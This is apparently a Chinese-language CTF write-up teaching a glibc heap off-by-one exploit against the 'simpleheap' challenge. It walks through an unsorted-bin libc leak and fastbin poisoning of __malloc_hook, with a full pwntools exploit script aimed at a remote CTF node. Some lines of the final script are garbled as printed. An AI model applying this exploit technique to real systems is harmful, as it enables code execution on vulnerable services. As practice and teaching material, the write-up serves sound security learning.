快速入門堆溢出技巧(OFF BY ONE)

OFF BY ONE

所謂OFF BY ONE就是利用堆溢出一個字節(jié)到下一個堆塊,使得目前堆塊與下一堆塊合并成一個堆塊,此時堆塊的大小就是我們溢出的那一字節(jié)

并且堆塊的fd(前驅(qū)指針)以及bk(后繼指針)都會指向

main_arena+88的地址這也是我們泄露出來的地址

利用gdb 輸入libc查看基地址,main_arena+88-libc=offset

UNSORTERBIN&FASTBINS

在堆塊的bins中分為fastbins,largebins,smallbins還有今天要用到的unsortedbin。所謂unsortedbin就是為未分類的區(qū)塊。

例題講解

本次我選用V&N在2020的招新賽的simpleheap 如有需要可在buuctf找到

思路概述

我們先創(chuàng)建足夠的堆塊一般對于這種菜單類型的題目我們創(chuàng)建4個堆塊

其中編號為3(編號從0到3)的堆塊用來隔開top chunk避免我們需要用到的

編號為1,2的堆塊中的2堆塊與top chunk重合導(dǎo)致無法使用unsortedbin攻擊

接著去利用off by one+unsortedbin泄露libc(使用show函數(shù))最后將堆排布好并構(gòu)建payload傳入即可
免費(fèi)領(lǐng)取學(xué)習(xí)資料
2021年全套網(wǎng)絡(luò)安全資料包及最新面試題
(滲透工具,環(huán)境搭建、HTML,PHP,MySQL基礎(chǔ)學(xué)習(xí),信息收集,SQL注入,XSS,CSRF,暴力破解等等)

First step

常規(guī)操作checksec

保護(hù)全開64位,倒也正常。接著拉進(jìn)ida慢慢分析

q@ubuntu:~$ checksec vn
[*] '/home/q/vn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

如下我們可以發(fā)現(xiàn)是個非常經(jīng)典的菜單題目,那么經(jīng)過查找漏洞點發(fā)現(xiàn)在edit函數(shù)

void __fastcall main(__int64 a1, char **a2, char **a3)
{
sub_A39(a1, a2, a3);
puts("Welcome to V&N challange!");
puts("This's a simple heap for you.");
while ( 1 )
{
menu();
switch ( (unsigned int)sub_9EA() )
{
case 1u:
add();
break;
case 2u:
edit();
break;
case 3u:
show();
break;
case 4u:
del();
break;
case 5u:
exit(0);
default:
puts("Please input current choice.");
break;
}
}
}

如下get_input_content里面有個off by one 的漏洞

unsigned __int64 __fastcall sub_C39(__int64 a1, int a2)
{
unsigned __int64 result; // rax
unsigned int i; // [rsp+1Ch] [rbp-4h]

for ( i = 0; ; ++i )
{
result = i;
if ( (int)i > a2 )
break;
if ( !read(0, (void *)((int)i + a1), 1uLL) )
exit(0);
if ( *(_BYTE *)((int)i + a1) == 10 )
{
result = (int)i + a1;
*(_BYTE *)result = 0;
return result;
}
}
return result;
}

Second step

在第一步我們對程序的漏洞點尋找完畢

現(xiàn)在我們要開始第二步去利用off by one創(chuàng)建fake chunk了,先上交互函數(shù)

from pwn import *
context(log_level='debug')
r=process('./vn')
elf=ELF('./vn')
r=remote('node3.buuoj.cn',28465)
libc=ELF('16.so')
def add(size,content):
r.recvuntil("choice: ")
r.sendline("1")
r.sendlineafter("size?",str(size))
r.sendlineafter("content:",content)
def edit(idx,content):
r.recvuntil("choice: ")
r.sendline("2")
r.sendlineafter("idx?",str(idx))
r.sendlineafter("content:",content)
def dump(idx):
r.recvuntil("choice: ")
r.sendline("3")
r.sendlineafter("idx?",str(idx))
def free(idx):
r.recvuntil("choice: ")
r.sendline("4")
r.sendlineafter("idx?",str(idx))

如思路概述所講到我們需要創(chuàng)建4個堆

我們創(chuàng)建好的堆結(jié)構(gòu)如下

OdSRMCLjXgl9iPk.png
在gdb中正常的堆結(jié)構(gòu)如下

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x556b208da000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x556b208da020
Size: 0x71

Allocated chunk | PREV_INUSE
Addr: 0x556b208da090
Size: 0x71

Allocated chunk | PREV_INUSE
Addr: 0x556b208da100
Size: 0x21

Top chunk | PREV_INUSE
Addr: 0x556b208da120
Size: 0x20ee1

接下來我們開始利用off by one去對其創(chuàng)建fake chunk

add(0x18,b'a')#0
add(0x68,b'a')#1
add(0x68,b'a')#2
add(0x18,b'a')#3 阻斷top chunk

edit(0,b'a'*0x18+b'\xe1')
free(1)
gdb.attach(r)

gdb中調(diào)試結(jié)果如下,我們很明顯的可以看見兩個0x71的堆塊合并成了我們想要的0xe1的堆塊,此時我們的fake chunk就構(gòu)建完畢了

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5650f994f000
Size: 0x21

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x5650f994f020
Size: 0xe1
fd: 0x7fc2f9aebb78
bk: 0x7fc2f9aebb78

Allocated chunk
Addr: 0x5650f994f100
Size: 0x20

Top chunk | PREV_INUSE
Addr: 0x5650f994f120
Size: 0x20ee1

Third step

有了fake chunk 現(xiàn)在我們就需要用到unsortedbin里面的chunk去泄露libc

在開頭的OFF BY ONE的介紹中我們提到了因為OFF BY ONE形成的chunk

其fd bk指針會指向main_arena+88,在gdb輸入libc可以得到libc的地址

main_arena+88-libc=offset=0x3c4b78

在這里呢我們現(xiàn)在要解決的如何用腳本實現(xiàn)交互自動取得偏移呢?

這里就要繼續(xù)提到

分割unsortedbin

我們重新申請一個堆塊,該堆塊的大小若剛好在unsortedbin中(強(qiáng)烈建議對半分割),我們申請回來之后通過gdb可以看見其中的堆結(jié)構(gòu)如下

一個0x71在unsortedbin,另外一個是我們可以正常使用的,此時他的內(nèi)容便是fd與bk指向的地址main_arena+88

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x559615971000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x559615971020
Size: 0x71

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x559615971090
Size: 0x71
fd: 0x7f0437e11b78
bk: 0x7f0437e11b78

Allocated chunk
Addr: 0x559615971100
Size: 0x20

Top chunk | PREV_INUSE
Addr: 0x559615971120
Size: 0x20ee1

因此我們可以得的泄露腳本如下

add(0x68,b'a'*0x08)#1 切割unsortedbin 使得2進(jìn)入unsortedbin泄露

main_arena

dump(2)

leak=u64(r.recv(6).ljust(8,b'\x00'))

print(hex(leak))

gdb.attach(r)

libc_base=leak-(0x3c4b78)#0x7f2c05c6cb78-0x7f2c058a8000

realloc_addr=libc_base+libc.sym['__libc_realloc']

malloc_hook=libc_base+libc.sym['__malloc_hook']

fake_chunk_addr=malloc_hook-0x23

one_gadget=libc_base+0x4526a

print(hex(realloc_addr))

print(hex(fake_chunk_addr))

PS:

這里可以說下為什么fake_chunk_addr=malloc_hook-0x23

這個malloc_hook-0x23剛好可以達(dá)到fastbin這個基本上每個程序都是固定的

如下0x7f78812fbaed就是fake chunk的地址處于fastbins

并且非常有意思的是此處正是我們leak處main_arena+88這個地方減去88再減去0x33得的的地址,并且該地址也是我們對堆塊輸入內(nèi)容的地址

pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x55f8ce9d4090 —? 0x7f78812fbaed (_IO_wide_data_0+301) ?— 0x7880fbcea0000000
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

Last step

我們現(xiàn)在有了需要的一切,那么現(xiàn)在最后一步就是對堆進(jìn)行排布并且傳入我們構(gòu)建好的payload

在這里所謂的堆排布就是我們要想辦法讓堆塊去執(zhí)行我們的傳入的payload

從第三步完結(jié)的時候堆排布如下

此時我們再申請一個0x68大小的堆塊就可以把unsortedbin里面的東西都拿出來

此時堆結(jié)構(gòu)依然不改變,只是位于unsortedbin的chunk變成可以利用的正常chunk其fd bk指針不再指向別的地址而是去指向前驅(qū)和后繼的chunk

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555d4046b000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x555d4046b020
Size: 0x71

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x555d4046b090
Size: 0x71
fd: 0x7ff34264eb78
bk: 0x7ff34264eb78

Allocated chunk
Addr: 0x555d4046b100
Size: 0x20

Top chunk | PREV_INUSE
Addr: 0x555d4046b120
Size: 0x20ee1

接下來我們再去free掉一個0x68大小的chunk

對留下來的0x68大小的chunk內(nèi)容填充為fake chunk的地址

接著繼續(xù)把被free的chunk申請回來,那么此時fastbin鏈表就會去指向fake chunk

也許語言看蒙了人,我就用圖表示

圖1如下是free掉后再去填充的樣子

VXxY5gHt6OBCWEK.png

圖2如下是我們把被free的chunk申請回來后的樣子

NvL3HnsEMGQmBWp.png

此時我們可以說是已經(jīng)劫持成功了,我們接著去填充payload然后再申請一個堆塊就可以觸發(fā)payload了

add(0x68,b'a'*0x08)# 4與2同時指向0x70

free(4)
edit(2,p64(fake_chunk_addr))

add(0x68,b'a'*0x08)#4

payload=b'a'*(0x13-0x08)+p64(one_gadget)+p64(realloc_addr+12)
add(0x68,payload)#5

r.recvuntil("choice: ")
r.sendline("1")
r.sendlineafter("size?",str(0x18))
print(hex(libc.sym['__malloc_hook']))
r.interactive()

PS:

關(guān)于為什么是0x13-0x08,因為我們從main_arena-0x33的位置填充的(第三步有提到),而這個位置距離realloc_hook的距離就是(0x13-8)

關(guān)于realloc_hook壓棧到底要加多少

我們可以打開gdb輸入 x/32i __libc_realloc

pwndbg> x/32i __libc_realloc
0x7ff34230e710 <__GI___libc_realloc>: push r15
0x7ff34230e712 <__GI___libc_realloc+2>: push r14
0x7ff34230e714 <__GI___libc_realloc+4>: push r13
0x7ff34230e716 <__GI___libc_realloc+6>: push r12
0x7ff34230e718 <__GI___libc_realloc+8>: mov r12,rsi
0x7ff34230e71b <__GI___libc_realloc+11>: push rbp
0x7ff34230e71c <__GI___libc_realloc+12>: push rbx

把里面的數(shù)字一個個代入試試看。

最后的完整exp如下

EXP:

需要的libc從buuctf里面下載

from pwn import *
context(log_level='debug')
r=process('./vn')
elf=ELF('./vn')
r=remote('node3.buuoj.cn',28640)
libc=ELF('64.so')
def add(size,content):
r.recvuntil("choice: ")
r.sendline("1")
r.sendlineafter("size?",str(size))
r.sendlineafter("content:",content)
def edit(idx,content):
r.recvuntil("choice: ")
r.sendline("2")
r.sendlineafter("idx?",str(idx))
r.sendlineafter("content:",content)
def dump(idx):
r.recvuntil("choice: ")
r.sendline("3")
r.sendlineafter("idx?",str(idx))
def free(idx):
r.recvuntil("choice: ")
r.sendline("4")
r.sendlineafter("idx?",str(idx))

gdb.attach(r)
add(0x18,b'a')#0
add(0x68,b'a')#1
add(0x68,b'a')#2
add(0x18,b'a')#3 阻斷top chunk

edit(0,b'a'0x18+b'\xe1')
free(1)
add(0x68,b'a'
0x08)#1 切割unsortedbin 使得2進(jìn)入unsortedbin泄露main_arena
dump(2)
leak=u64(r.recv(6).ljust(8,b'\x00'))
print(hex(leak))

libc_base=leak-(0x3c4b78)#0x7f2c05c6cb78-0x7f2c058a8000
realloc_addr=libc_base+libc.sym['__libc_realloc']
malloc_hook=libc_base+libc.sym['__malloc_hook']
fake_chunk_addr=malloc_hook-0x23
one_gadget=libc_base+0x4526a
print(hex(realloc_addr))
print(hex(fake_chunk_addr))
add(0x68,b'a'0x08)# 4與2同時指向0x70
free(4)
edit(2,p64(fake_chunk_addr))
add(0x68,b'a'
0x08)#4
payload=b'a'*(0x13-0x08)+p64(one_gadget)+p64(realloc_addr+12)
add(0x68,payload)#5
r.recvuntil("choice: ")
r.sendline("1")
r.sendlineafter("size?",str(0x18))
print(hex(libc.sym['__malloc_hook']))
r.interactive()

結(jié)果如下
headImg.action?news=1e9dfc2b-b0f3-473a-a041-49d1486572e7.png
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容